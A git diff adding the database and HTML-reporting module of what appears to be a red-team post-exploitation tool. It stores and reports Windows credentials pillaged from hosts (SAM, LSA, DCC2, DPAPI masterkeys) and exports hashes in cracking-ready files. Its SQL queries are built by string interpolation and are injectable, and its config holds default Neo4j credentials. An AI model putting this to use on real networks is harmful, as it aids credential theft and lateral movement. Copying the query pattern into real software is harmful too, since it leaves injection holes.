0000000..3e30a42 --- /dev/null +++ b/config/seatbelt_config.json @@ -0,0 +1,13 @@ +{ + "workspace":"default", + "db_path":"seatbelt.db", + "db_name":"seatbelt.db", + "css":"res\\css\\style.css", + "mychartjs":"res\\css\\Chart.js", + "logo_login": "res\\Logo_LOGIN.PNG", + "logo_link": "res\\link.png", + "BH_neo4j_ip": "127.0.0.1", + "BH_neo4j_port": "7474", + "BH_neo4j_user": "neo4j", + "BH_neo4j_password": "neo4j" +} \ No newline at end of file diff --git a/database.py b/database.py new file mode 100644 index 0000000..8ae17a4 --- /dev/null +++ b/database.py @@ -0,0 +1,1401 @@ +import logging +import binascii,os,json,datetime,shutil,base64 +from datetime import date +from lib.toolbox import bcolors + + +class reporting: + def __init__(self, conn,logger,options,targets): + self.conn = conn + self.logging=logger + self.options=options + self.targets = targets + self.report_file = os.path.join(self.options.output_directory,'%s_result.html' % date.today().strftime("%d-%m-%Y")) + + def add_to_resultpage(self, datas): + try: + datas = datas.encode('ascii', 'ignore') + f = open(self.report_file, 'ab') + f.write(datas) + f.close() + return True + except Exception as ex: + self.logging.debug(f" Exception {bcolors.WARNING} in add to resultat {bcolors.ENDC}") + self.logging.debug(ex) + return False + + def generate_report(self,type='', user='', target=''): + + try: + my_path = os.path.dirname(os.path.realpath(__file__)) + with open(os.path.join(os.path.join(my_path,"config"),"seatbelt_config.json")) as config: + config_parser = json.load(config) + #Gérer les chemins Win vs Linux pour le .replace('\\', '/') + mycss = os.path.join(my_path, config_parser['css']).replace('\\', '/') + mychartjs = os.path.join(my_path, config_parser['mychartjs']).replace('\\', '/') + logo_login_path = os.path.join(my_path, config_parser['logo_login']).replace('\\', '/') + #self.logging.debug(f"[+] {logo_login_path}") + except Exception as ex: + self.logging.debug(f" Exception {bcolors.WARNING} in running Report {bcolors.ENDC}") + self.logging.debug(ex) + + self.logging.info("[+] Generating report") + if self.conn == None : + self.logging.debug(f"[+] db ERROR - {self.options.output_directory}") + return -1 + + try: + if os.path.exists(os.path.join(self.options.output_directory,'%s_result.html' % date.today().strftime("%d-%m-%Y"))): + if os.path.exists(os.path.join(self.options.output_directory,'%s_result_old.html' % date.today().strftime("%d-%m-%Y"))): + os.remove(os.path.join(self.options.output_directory,'%s_result_old.html' % date.today().strftime("%d-%m-%Y"))) + os.rename(os.path.join(self.options.output_directory,'%s_result.html' % date.today().strftime("%d-%m-%Y")), os.path.join(self.options.output_directory,'%s_result_old.html' % date.today().strftime("%d-%m-%Y"))) + os.remove(os.path.join(os.path.join(self.options.output_directory,'%s_result.html' % date.today().strftime("%d-%m-%Y")))) + self.report_file = os.path.join(self.options.output_directory,'%s_result.html' % date.today().strftime("%d-%m-%Y")) + if not os.path.exists(os.path.join(self.options.output_directory,'res')): + os.mkdir(os.path.join(self.options.output_directory,'res')) + except Exception as ex: + self.logging.debug(f" Exception {bcolors.WARNING} in Creating Report File {bcolors.ENDC}") + self.logging.debug(ex) + return False + # Copy css file: + try: + for myfiles in [(mycss,'style.css'), (logo_login_path,'Logo_LOGIN.PNG')]: + myfile,myfilename=myfiles + if os.path.exists(myfile) and not os.path.exists(os.path.join(os.path.join(self.options.output_directory,'res'), myfilename)): + shutil.copy2(myfile, os.path.join(os.path.join(self.options.output_directory,'res'), myfilename)) + else: + self.logging.debug(f"{os.path.exists(myfile)} - {os.path.exists(os.path.join(os.path.join(self.options.output_directory,'res'), myfilename))}") + + except Exception as ex: + self.logging.debug(f" Exception {bcolors.WARNING} in RES copy {bcolors.ENDC}") + self.logging.debug(ex) + return False + + data = """ + + + + + MySeatBelt - Result for %s + + \n""" % ('res/style.css', "[client_name]") + self.add_to_resultpage(data) + + # Tableau en top de page pour les liens ? + data = """\n""" + data = """\n""" + data += f""" {menu.upper()}\n""" + data += """
\n""" + self.add_to_resultpage(data) + + # Logo @ Titre + data = """
\n""" + data += """
Menu
\n""" + + data += """\n""" % '[client_name]'.upper() + data += """

\n""" % date.today().strftime("%d/%m/%Y") + + data += """""" % os.path.join('res','Logo_LOGIN.PNG') + '''if os.path.isfile(os.path.join(logdir, 'logo.png')): + data += """""" % (os.path.join(logdir, 'logo.png'))''' + data += """

\n""" + self.add_to_resultpage(data) + + + #JS Stuff + data = """ + + """ + self.add_to_resultpage(data) + + results = self.get_credz() + + data = """ + + + + + \n""" + + # + current_type='' + for index,cred in enumerate(results): + cred_id, file_path, username, password, target, type, pillaged_from_computerid, pillaged_from_userid = cred + if type != current_type: + current_type=type + data += f"""""" + + + #Skip infos of + # WindowsLive:target=virtualapp/didlogical + untreated_targets =["WindowsLive:target=virtualapp/didlogical","Adobe App Info","Adobe App Prefetched Info","Adobe User Info","Adobe User OS Info","MicrosoftOffice16_Data:ADAL","LegacyGeneric:target=msteams_adalsso/adal_contex"] + untreated_users = ["NL$KM_history"] + + blacklist_bypass=False + for untreated in untreated_targets: + if untreated in target: + blacklist_bypass=True + for untreated in untreated_users: + if untreated in username: + blacklist_bypass=True + if blacklist_bypass: + continue + + #Get computer infos + res=self.get_computer_infos(pillaged_from_computerid) + for index_, res2 in enumerate(res): + ip, hostname=res2 + computer_info=f"{ip} | {hostname}" + #pillaged_from_userid + if pillaged_from_userid != None: + res=self.get_user_infos(pillaged_from_userid) + for index_, pillaged_username in enumerate(res): + pillaged_from_userid=pillaged_username[0] + else: + pillaged_from_userid=str(pillaged_from_userid) + + if index % 2 == 0: + data += f"""""" + else: + data += f"""""" + + if 'admin' in username.lower() : #Pour mettre des results en valeur + special_style = '''class="cracked"''' + else: + special_style = "" + + + + ###Print block + #Recup des username dans le target #/# a update dans myseatbelt.py pour faire une fonction dump_CREDENTIAL_XXXXX clean + if "LegacyGeneric:target=MicrosoftOffice1" in target: + username = f'''{target.split(':')[-1]}''' + #Les pass LSA sont souvent en Hexa + #if "LSA" in type: + try: + hex_passw='' + hex_passw=binascii.unhexlify(password).replace(b'>',b'') + except Exception as ex: + #print(ex) + pass + + + for info in [username]: + data += f"""""" + for info in [password]: + data += f"""""" + + #check if info contains a URL + if 'http:' in target or 'https:' in target: + info2 = target[target.index('http'):] + special_ref = f'''href="{info2}" target="_blank" title="{target}"''' + elif 'ftp:' in target: + info2 = target[target.index('ftp'):] + special_ref = f'''href="{info2}" target="_blank" title="{target}"''' + elif "Domain:target=" in target: + info2=f'''rdp://full%20address=s:{target[target.index('Domain:target=')+len('Domain:target='):]}:3389&username=s:{username}&audiomode=i:2&disable%20themes=i:1''' + special_ref = f'''href="{info2}" title="{target}"''' + elif "LegacyGeneric:target=MicrosoftOffice1" in target: + target=f'''{target[target.index('LegacyGeneric:target=')+len('LegacyGeneric:target='):]}''' + special_ref = f'''href="https://login.microsoftonline.com/" target="_blank" title="OfficeLogin"''' + else: + special_ref = f'''title="{target}"''' + data += f"""""" + + for info in [type, computer_info, pillaged_from_userid]: + data += f"""""" + data+="""\n""" + + data += """
UsernamePasswordTargetTypePillaged_from_computeridPillaged_from_userid
{current_type}
{str(info)[:48]} {str(info)[:48]} {str(target)[:48]} {str(info)[:48]}

""" + self.add_to_resultpage(data) + ### + ##### List gathered files + results = self.get_file() + + data = """ + + + \n""" + for index, myfile in enumerate(results): + try: + file_path, filename, extension, pillaged_from_computerid,pillaged_from_userid = myfile + res = self.get_computer_infos(pillaged_from_computerid) + for index, res2 in enumerate(res): + ip, hostname = res2 + computer_info = f"{ip} | {hostname}" + res = self.get_user_infos(pillaged_from_userid) + for index, res2 in enumerate(res): + username = res2[0] + special_ref = f'''href="file://{file_path}" target="_blank" title="{filename}"''' + data += f"""\n""" + except Exception as ex: + self.logging.debug(f" Exception {bcolors.WARNING} in getting File for {file_path} {bcolors.ENDC}") + self.logging.debug(ex) + return False + data += """
FilenameTypeUserIp
{filename} {extension} {username} {computer_info}

""" + self.add_to_resultpage(data) + + ##### Identify user / IP relations + # Confirm audited scope : + results = self.get_connected_user() + + data = """ + \n""" + + for index, cred in enumerate(results): + try: + ip, username = cred + data += """\n""" % (username,ip) + except Exception as ex: + self.logging.debug(f" Exception {bcolors.WARNING} in Identify user / IP relations for {cred} {bcolors.ENDC}") + self.logging.debug(ex) + return False + data += """
UsernameIP
%s %s

""" + self.add_to_resultpage(data) + + + ##### Identify Local hash reuse + results = self.get_credz_sam() + data = """\n""" + for index, cred in enumerate(results): + username, password, type, pillaged_from_computerid = cred + res = self.get_computer_infos(pillaged_from_computerid) + for index, res2 in enumerate(res): + ip, hostname = res2 + computer_info = f"{ip} | {hostname}" + data += """\n""" % (username, password, type, computer_info) + data += """
Local account reuse :
%s %s %s %s

""" + self.add_to_resultpage(data) + + + # Confirm audited scope : + results = self.get_computers() + data = """\n""" + data += """ + + + + + + + + \n""" + + for index, cred in enumerate(results): + ip, hostname, domain, my_os, smb_signing_enabled,smbv1_enabled,is_admin,connectivity = cred + data+="" + for info in [ip, hostname, domain, my_os]: + data += f"""""" + if smb_signing_enabled: + data+="" + else: + data += """""" + if smbv1_enabled: + data+="" + else: + data += "" + if is_admin: + data+="""""" + else: + data += """""" + for info in [connectivity]: + data += f"""""" + data+="\n" + data += """
Scope Audited :
IpHostnameDomainOSSmb signing enabledSmb v1Is AdminConnectivity
{info} Ok NOT required Yes No Admin No {info}

\n""" + self.add_to_resultpage(data) + + #Etat des masterkeyz + if self.options.debug : + results=self.get_masterkeys() + data = """\n""" + data += """ + + + + + + \n""" + + for index, cred in enumerate(results): + id, file_path, guid, status, pillaged_from_computerid, pillaged_from_userid, decrypted_with, decrypted_value = cred + data+="" + for info in [guid, status, decrypted_with]: + data += f"""""" + for info in [decrypted_value]: + data += f"""""" + + res = self.get_computer_infos(pillaged_from_computerid) + for index, res2 in enumerate(res): + ip, hostname = res2 + computer_info = f"{ip} | {hostname}" + data += f"""""" + res = self.get_user_infos(pillaged_from_userid) + for index, res2 in enumerate(res): + username = res2[0] + data += f"""""" + data += "\n" + data += """
Masterkeys :
GuidStatusDecrypted_withDecrypted_valueComputerUser
{info} {str(info)[:12]} {computer_info} {username}

\n""" + self.add_to_resultpage(data) + # finalise result page + data = "" + self.add_to_resultpage(data) + + + def get_dpapi_hashes(self): + user_hashes=[] + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT sid,hash FROM dpapi_hash") + results = cur.fetchall() + for line in results: + sid=line[0] + hash=line[1] + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT user_id FROM user_sid WHERE LOWER(sid)=LOWER('{sid}')") + res1 = cur.fetchall() + if len(res1) > 0: + result = res1[0] + user_id = result[0] + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT username FROM users WHERE id={user_id}") + res2 = cur.fetchall() + if len(res2) > 0: + result = res2[0] + username = result[0] + user_hashes.append((username,hash)) + return user_hashes + + def export_MKF_hashes(self): + user_hashes=self.get_dpapi_hashes() + self.logging.debug(f"Exporting {len(user_hashes)} MKF Dpapi hash to {self.options.output_directory}") + + for algo_type in [1,2]: + for context in [1,2,3]: + filename = os.path.join(self.options.output_directory, 'MKFv%i_type_%i' % (algo_type,context)) + if os.path.exists(filename): + os.remove(filename) + for entry in user_hashes: + try: + username=entry[0] + hash=entry[1] + #on retire les hash "MACHINE$" + if username != "MACHINE$": + #Pour le moment on copie juste les hash. voir pour faire evoluer CrackHash et prendrre username:hash + algo_type=int(hash.split('*')[0][-1]) + context=int(hash.split('*')[1]) + filename = os.path.join(self.options.output_directory, 'MKFv%i_type_%i' % (algo_type, context)) + filename2 = os.path.join(self.options.output_directory, 'MKFv%i_type_%i_WITH_USERNAME' % (algo_type, context)) + f=open(filename,'ab') + f.write(f"{hash}\n".encode('utf-8')) + f.close() + f = open(filename2, 'ab') + f.write(f"{username}:{hash}\n".encode('utf-8')) + f.close() + except Exception as ex: + self.logging.error(f"Exception in export dpapi hash to {filename}") + self.logging.debug(ex) + + def get_dcc2_hashes(self): + with self.conn: + cur = self.conn.cursor() + cur.execute("SELECT DISTINCT username,password FROM credz WHERE LOWER(type)=LOWER('DCC2') ORDER BY username ASC ") + results = cur.fetchall() + return results + def export_dcc2_hashes(self): + user_hashes=self.get_dcc2_hashes() + filename = os.path.join(self.options.output_directory, 'hash_DCC2') + self.logging.debug(f"Exporting {len(user_hashes)} DCC2 hash to {self.options.output_directory}") + if os.path.exists(filename): + os.remove(filename) + for entry in user_hashes: + try: + username=entry[0] + hash=entry[1] + f=open(filename,'ab') + f.write(f"{username}:{hash}\n".encode('utf-8')) + f.close() + except Exception as ex: + self.logging.error(f"Exception in export DCC2 hash to {filename}") + self.logging.debug(ex) + self.logging.debug(f"Export Done!") + + def get_credz(self, filterTerm=None, credz_type=None): + """ + Return credentials from the database. + """ + if credz_type: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT * FROM credz WHERE LOWER(type)=LOWER('{credz_type}')") + + # if we're filtering by username + elif filterTerm and filterTerm != '': + with self.conn: + cur = self.conn.cursor() + cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm)]) + + # otherwise return all credentials + else: + with self.conn: + cur = self.conn.cursor() + cur.execute("SELECT * FROM credz ORDER BY type DESC, target ASC ") + + results = cur.fetchall() + return results + + def get_credz_sam(self): + + all=[] + with self.conn: + cur = self.conn.cursor() + cur.execute("SELECT count(DISTINCT pillaged_from_computerid),password FROM credz WHERE LOWER(type)=LOWER('SAM') AND LOWER(password) != LOWER('31d6cfe0d16ae931b73c59d7e0c089c0') GROUP BY password ORDER BY username ASC") + results = cur.fetchall() + + + for index, res in enumerate(results): + nb,passw=res + if nb>1: + with self.conn: + cur = self.conn.cursor() + cur.execute("SELECT DISTINCT username, password, type, pillaged_from_computerid FROM credz WHERE LOWER(type)=LOWER('SAM') AND LOWER(password)=LOWER('%s') ORDER BY password ASC, username ASC "%(passw)) + all+=cur.fetchall() + return all + + def get_computers(self): + with self.conn: + cur = self.conn.cursor() + cur.execute("SELECT ip,hostname,domain,os,smb_signing_enabled,smbv1_enabled,is_admin,connectivity from computers ORDER BY ip") + results = cur.fetchall() + return results + + def get_masterkeys(self): + with self.conn: + cur = self.conn.cursor() + cur.execute("SELECT id,file_path,guid,status,pillaged_from_computerid,pillaged_from_userid,decrypted_with,decrypted_value from masterkey ORDER BY pillaged_from_computerid ASC, pillaged_from_userid ASC") + results = cur.fetchall() + return results + + def get_computer_infos(self,computer_id): + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT ip,hostname FROM computers WHERE id={computer_id} LIMIT 1") + results = cur.fetchall() + return results + + def get_user_infos(self,user_id): + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT username FROM users WHERE id={user_id} LIMIT 1") + results = cur.fetchall() + return results + + def get_user_id(self,username): + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT id FROM users WHERE username={username} LIMIT 1") + results = cur.fetchall() + return results + + def get_connected_user(self): + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT ip,username FROM connected_user ORDER BY username ASC, ip ASC") + results = cur.fetchall() + return results + + def get_os_from_ip(self,ip): + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT os FROM computers WHERE ip={ip} LIMIT 1") + results = cur.fetchall() + return results + + def get_file(self): + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT file_path,filename,extension,pillaged_from_computerid,pillaged_from_userid FROM files ORDER BY pillaged_from_computerid ASC, extension ASC ") + results = cur.fetchall() + return results + +class database: + + def __init__(self, conn,logger): + self.conn = conn + self.logging=logger + + def get_credz(self, filterTerm=None, credz_type=None): + """ + Return credentials from the database. + """ + + if credz_type: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT * FROM credz WHERE type='{credz_type}'") + + # if we're filtering by username + elif filterTerm and filterTerm != '': + with self.conn: + cur = self.conn.cursor() + cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm)]) + + # otherwise return all credentials + else: + with self.conn: + cur = self.conn.cursor() + cur.execute("SELECT * FROM credz") + + results = cur.fetchall() + return results + + @staticmethod + def db_schema(db_conn): + db_conn.execute('''CREATE TABLE "computers" ( + "id" integer PRIMARY KEY, + "ip" text, + "hostname" text, + "domain" text, + "os" text, + "dc" boolean, + "smb_signing_enabled" boolean, + "smbv1_enabled" boolean, + 'default_user_id' integer, + "is_admin" boolean, + "connectivity" text + )''') + db_conn.execute('''CREATE TABLE "compliance" ( + "id" integer PRIMARY KEY, + "laps_enabled" boolean DEFAULT 0, + "smb_signing_enabled" boolean DEFAULT 0, + "smbv1_enabled" boolean DEFAULT 0, + "llmnr_disabled" boolean DEFAULT 0, + "pillaged_from_computerid" integer, + FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id) + )''') + # type = hash, plaintext + db_conn.execute('''CREATE TABLE "users" ( + "id" integer PRIMARY KEY, + "domain" text, + "username" text, + "password" text, + "credtype" text, + "pillaged_from_computerid" integer, + FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id) + )''') + + db_conn.execute('''CREATE TABLE "groups" ( + "id" integer PRIMARY KEY, + "domain" text, + "name" text + )''') + + db_conn.execute('''CREATE TABLE "credz" ( + "id" integer PRIMARY KEY, + "file_path" text, + "username" text, + "password" text, + "target" text, + "type" text, + "pillaged_from_computerid" integer, + "pillaged_from_userid" integer, + FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id), + FOREIGN KEY(pillaged_from_userid) REFERENCES users(id) + )''') + db_conn.execute('''CREATE TABLE "dpapi_hash" ( + "id" integer PRIMARY KEY, + "file_path" text, + "sid" text, + "guid" text, + "hash" text, + "context" text, + "pillaged_from_computerid" integer, + FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id) + )''') + db_conn.execute('''CREATE TABLE "user_sid" ( + "id" integer PRIMARY KEY, + "sid" text, + "user_id" integer, + FOREIGN KEY(user_id) REFERENCES users(id) + )''') + db_conn.execute('''CREATE TABLE "connected_user" ( + "id" integer PRIMARY KEY, + "username" text, + "ip" text + )''') + db_conn.execute('''CREATE TABLE "files" ( + "id" integer PRIMARY KEY, + "file_path" text, + "filename" text, + "extension" text, + "pillaged_from_computerid" integer, + "pillaged_from_userid" integer, + FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id), + FOREIGN KEY(pillaged_from_userid) REFERENCES users(id) + )''') + db_conn.execute('''CREATE TABLE "masterkey" ( + "id" integer PRIMARY KEY, + "file_path" text, + "guid" text, + "status" integer DEFAULT 0, + "pillaged_from_computerid" integer, + "pillaged_from_userid" integer, + "decrypted_with" text, + "decrypted_value" text, + FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id), + FOREIGN KEY(pillaged_from_userid) REFERENCES users(id) + )''') + + # This table keeps track of which credential has admin access over which machine and vice-versa + """ + db_conn.execute('''CREATE TABLE "admin_relations" ( + "id" integer PRIMARY KEY, + "userid" integer, + "computerid" integer, + FOREIGN KEY(userid) REFERENCES users(id), + FOREIGN KEY(computerid) REFERENCES computers(id) + )''') + + db_conn.execute('''CREATE TABLE "loggedin_relations" ( + "id" integer PRIMARY KEY, + "userid" integer, + "computerid" integer, + FOREIGN KEY(userid) REFERENCES users(id), + FOREIGN KEY(computerid) REFERENCES computers(id) + )''') + + db_conn.execute('''CREATE TABLE "group_relations" ( + "id" integer PRIMARY KEY, + "userid" integer, + "groupid" integer, + FOREIGN KEY(userid) REFERENCES users(id), + FOREIGN KEY(groupid) REFERENCES groups(id) + )''') + + #db_conn.execute('''CREATE TABLE "ntds_dumps" ( + # "id" integer PRIMARY KEY, + # "computerid", integer, + # "domain" text, + # "username" text, + # "hash" text, + # FOREIGN KEY(computerid) REFERENCES computers(id) + # )''') + + #db_conn.execute('''CREATE TABLE "shares" ( + # "id" integer PRIMARY KEY, + # "hostid" integer, + # "name" text, + # "remark" text, + # "read" boolean, + # "write" boolean + # )''') + + #def add_share(self, hostid, name, remark, read, write): + # cur = self.conn.cursor() + + # cur.execute("INSERT INTO shares (hostid, name, remark, read, write) VALUES (?,?,?,?,?)", [hostid, name, remark, read, write]) + + # cur.close() + """ + def add_computer(self, ip, hostname='', domain='', os='', default_user_id=0, dc=0, smb_signing_enabled=False, smbv1_enabled=False,is_admin=False,connectivity='Ok'): + """ + Check if this host has already been added to the database, if not add it in. + """ + self.logging.debug(f"[{ip}] {bcolors.OKBLUE}Adding Computer {hostname}{bcolors.ENDC}") + try: + #domain = domain.split('.')[0].upper() + with self.conn: + cur = self.conn.cursor() + cur.execute(f'SELECT * FROM computers WHERE ip LIKE "{ip}"') + results = cur.fetchall() + + if not len(results): + with self.conn: + cur = self.conn.cursor() + cur.execute(f"INSERT INTO computers (ip, hostname, domain, os, dc, default_user_id,smb_signing_enabled,is_admin,smbv1_enabled,connectivity) VALUES ('{ip}', '{hostname}', '{domain}', '{os}', {dc},{default_user_id},{smb_signing_enabled},{is_admin},{smbv1_enabled},'{connectivity}')") + + return cur.lastrowid + except Exception as ex: + self.logging.error(f"Exception in Add Computeur") + self.logging.debug(ex) + def update_computer(self, ip, hostname=None, domain=None, os=None, default_user_id=None, dc=None, smb_signing_enabled=None, smbv1_enabled=None,is_admin=None,connectivity=None): + """ + Check if this host has already been added to the database, if not add it in. + """ + self.logging.debug(f"Updating Computer {ip}") + try: + #domain = domain.split('.')[0].upper() + with self.conn: + cur = self.conn.cursor() + cur.execute(f'SELECT * FROM computers WHERE ip LIKE "{ip}"') + results = cur.fetchall() + + if len(results): + for host in results: + id_=host[0] + hostname_ = host[2] + domain_ = host[3] + os_ = host[4] + dc_ = host[5] + is_admin_ = host[8] + connectivity_ = host[9] + for val in [(hostname,'hostname'),(domain,'domain'),(os,'os'),(hostname,'hostname'),(default_user_id,'default_user_id'),(dc,'dc'),(smb_signing_enabled,'smb_signing_enabled'),(smbv1_enabled,'smbv1_enabled'),(is_admin,'is_admin'),(connectivity,'connectivity')]: + value=val[0] + var=val[1] + if value != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"UPDATE computers SET {var}='{value}' WHERE id={id_}") + except Exception as ex: + self.logging.error(f"Exception in Add Computeur") + self.logging.debug(ex) + + def add_file(self, file_path, filename,extension,pillaged_from_computerid=None,pillaged_from_computer_ip=None,pillaged_from_userid=None,pillaged_from_username=None): + """ + Check if this host has already been added to the database, if not add it in. + """ + self.logging.debug(f"Adding file {filename} - path : {file_path} - {extension} - from user {pillaged_from_username}") + try: + #domain = domain.split('.')[0].upper() + if pillaged_from_userid == None and pillaged_from_username != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT id FROM users WHERE username='{pillaged_from_username}'") + results = cur.fetchall() + if len(results) > 0: + result = results[0] + pillaged_from_userid = result[0] + #print(f"{pillaged_from_userid} is {pillaged_from_username}") + if pillaged_from_computer_ip != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT * FROM computers WHERE LOWER(ip)=LOWER('{pillaged_from_computer_ip}')") + results = cur.fetchall() + if len(results)>0: + result=results[0] + pillaged_from_computerid=result[0] + if pillaged_from_computerid != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f'SELECT * FROM files WHERE filename LIKE "{filename}" AND pillaged_from_computerid={pillaged_from_computerid}') + results = cur.fetchall() + + if not len(results): + #self.logging.debug(f"inserting file {filename} - {file_path} -{extension}") + cur.execute(f"INSERT INTO files (file_path,filename,extension,pillaged_from_computerid,pillaged_from_userid) VALUES ('{file_path}', '{filename}', '{extension}', '{pillaged_from_computerid}', {pillaged_from_userid})") + except Exception as ex: + self.logging.error(f"Exception in Add Files") + self.logging.debug(ex) + + def add_masterkey(self, file_path, guid,status,decrypted_with='',decrypted_value='',pillaged_from_computerid=None,pillaged_from_computer_ip=None,pillaged_from_userid=None,pillaged_from_username=None): + """ + Check if this host has already been added to the database, if not add it in. + """ + self.logging.debug(f"[{pillaged_from_computer_ip}] Adding Masterkey {guid} - path : {file_path} - from user {pillaged_from_username} - {status} ") + try: + #domain = domain.split('.')[0].upper() + if pillaged_from_userid == None and pillaged_from_username != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT id FROM users WHERE username='{pillaged_from_username}'") + results = cur.fetchall() + if len(results) > 0: + result = results[0] + pillaged_from_userid = result[0] + self.logging.debug(f"[{pillaged_from_computer_ip}] {pillaged_from_userid} is {pillaged_from_username}") + if pillaged_from_computer_ip != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT * FROM computers WHERE LOWER(ip)=LOWER('{pillaged_from_computer_ip}')") + results = cur.fetchall() + if len(results)>0: + result=results[0] + pillaged_from_computerid=result[0] + self.logging.debug( + f"[{pillaged_from_computer_ip}] {pillaged_from_computer_ip} is {pillaged_from_computerid}") + if pillaged_from_computerid != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f'SELECT * FROM masterkey WHERE guid LIKE "{guid}" AND pillaged_from_computerid={pillaged_from_computerid}') + results = cur.fetchall() + + if not len(results): + with self.conn: + cur = self.conn.cursor() + self.logging.debug( + f"[{pillaged_from_computer_ip}] inserting Masterkey {guid} - {file_path} -{status} {pillaged_from_computerid}', {pillaged_from_userid},{decrypted_with},{decrypted_value}") + cur.execute(f"INSERT INTO masterkey (file_path,guid,status,pillaged_from_computerid,pillaged_from_userid,decrypted_with,decrypted_value) VALUES ('{file_path}', '{guid}', '{status}', '{pillaged_from_computerid}', {pillaged_from_userid},'{decrypted_with}','{decrypted_value}')") + else: + for masterkey in results: + if (status != masterkey[3]) or (decrypted_with != masterkey[6]) or (decrypted_value!= masterkey[7]): + with self.conn: + cur = self.conn.cursor() + cur.execute(f"UPDATE masterkey SET status='{status}', decrypted_with='{decrypted_with}', decrypted_value='{decrypted_value}' WHERE id={masterkey[0]}") + except Exception as ex: + self.logging.error(f"Exception in Add Masterkey") + self.logging.debug(ex) + + def update_masterkey(self, file_path, guid,status,decrypted_with=None,decrypted_value=None,pillaged_from_computerid=None,pillaged_from_computer_ip=None,pillaged_from_userid=None,pillaged_from_username=None): + """ + Check if this host has already been added to the database, if not add it in. + """ + self.logging.debug(f"Updating Masterkey {guid} {status} {decrypted_value} {decrypted_with}") + try: + if pillaged_from_computer_ip != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT * FROM computers WHERE LOWER(ip)=LOWER('{pillaged_from_computer_ip}')") + results = cur.fetchall() + if len(results)>0: + result=results[0] + pillaged_from_computerid=result[0] + self.logging.debug( + f"[{pillaged_from_computer_ip}] {pillaged_from_computer_ip} is {pillaged_from_computerid}") + if pillaged_from_computerid != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f'SELECT * FROM masterkey WHERE guid LIKE "{guid}" AND pillaged_from_computerid={pillaged_from_computerid}') + results = cur.fetchall() + + if len(results): + self.logging.debug("Found initial Masterkey") + for masterkey in results: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"UPDATE masterkey SET status='{status}', decrypted_with='{decrypted_with}', decrypted_value='{decrypted_value}' WHERE id={masterkey[0]}") + except Exception as ex: + self.logging.debug(f"Exception in update Masterkey") + self.logging.debug(ex) + + + def add_connected_user(self, ip, username): + """ + Check if this host has already been added to the database, if not add it in. + """ + self.logging.debug(f"Adding connected user {username} from {ip}") + ip=ip.replace('\\','') + try: + #domain = domain.split('.')[0].upper() + with self.conn: + cur = self.conn.cursor() + cur.execute(f'SELECT * FROM connected_user WHERE username LIKE "{username}" AND ip LIKE "{ip}"') + results = cur.fetchall() + + if not len(results): + with self.conn: + cur = self.conn.cursor() + cur.execute(f"INSERT INTO connected_user (username, ip) VALUES ('{username}','{ip}')") + return cur.lastrowid + except Exception as ex: + self.logging.error(f"Exception in Add Connected users") + self.logging.debug(ex) + + def add_user(self, domain='', username='', password='', credtype='', pillaged_from_computerid=None,pillaged_from_computer_ip=None): + try: + #domain = domain.split('.')[0].upper() + user_rowid = None + if pillaged_from_computer_ip != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT * FROM computers WHERE LOWER(ip)=LOWER('{pillaged_from_computer_ip}')") + results = cur.fetchall() + if len(results)>0: + result=results[0] + pillaged_from_computerid=result[0] + if pillaged_from_computerid != None: + query = f"SELECT * FROM users WHERE LOWER(domain)=LOWER('{domain}') AND LOWER(username)=LOWER('{username}') AND pillaged_from_computerid={pillaged_from_computerid}" + self.logging.debug(query) + with self.conn: + cur = self.conn.cursor() + cur.execute(query) + results = cur.fetchall() + + if not len(results): + query=f"INSERT INTO users (domain, username, password, credtype, pillaged_from_computerid) VALUES ('{domain}','{username}','{password}','{credtype}',{pillaged_from_computerid})" + self.logging.debug(query) + with self.conn: + cur = self.conn.cursor() + cur.execute(query) + user_rowid = cur.lastrowid + self.logging.debug('add_user(domain={}, username={}) => {}'.format(domain, username, user_rowid)) + else: + self.logging.debug('add_user(domain={}, username={}) ALREADY EXIST'.format(domain, username)) + else: + self.logging.error(f"user {username} associated computer not found ") + except Exception as ex: + self.logging.error(f"Exception in add_user ") + self.logging.debug(ex) + return user_rowid + + + + def add_sid(self,username=None,user_id=None,sid=None): + try: + if user_id == None and username != None: + with self.conn: + cur = self.conn.cursor() + cur.execute(f"SELECT id FROM users WHERE LOWER(username)=LOWER('{username}')") + results = cur.fetchall() + if len(results) > 0: + result = results[0] + user_id = result[0] + if user_id != None and sid != None: + #Deja en base ? + query = f"SELECT * FROM user_sid WHERE LOWER(sid)=LOWER('{sid}') AND user_id={user_id}" + self.logging.debug(query) + with self.conn: + cur = self.conn.cursor() + cur.execute(query) + results = cur.fetchall() + if not len(results): + query = f"INSERT INTO user_sid (user_id, sid) VALUES ('{user_id}','{sid}')" + self.logging.debug(query) + with self.conn: + cur = self.conn.cursor() + cur.execute(query) + user_rowid = cur.lastrowid + self.logging.debug(f'added SID {sid} for user id {user_id}') + except Exception as ex: + self.logging.error(f"Exception in add_sid ") + self.logging.debug(ex) + 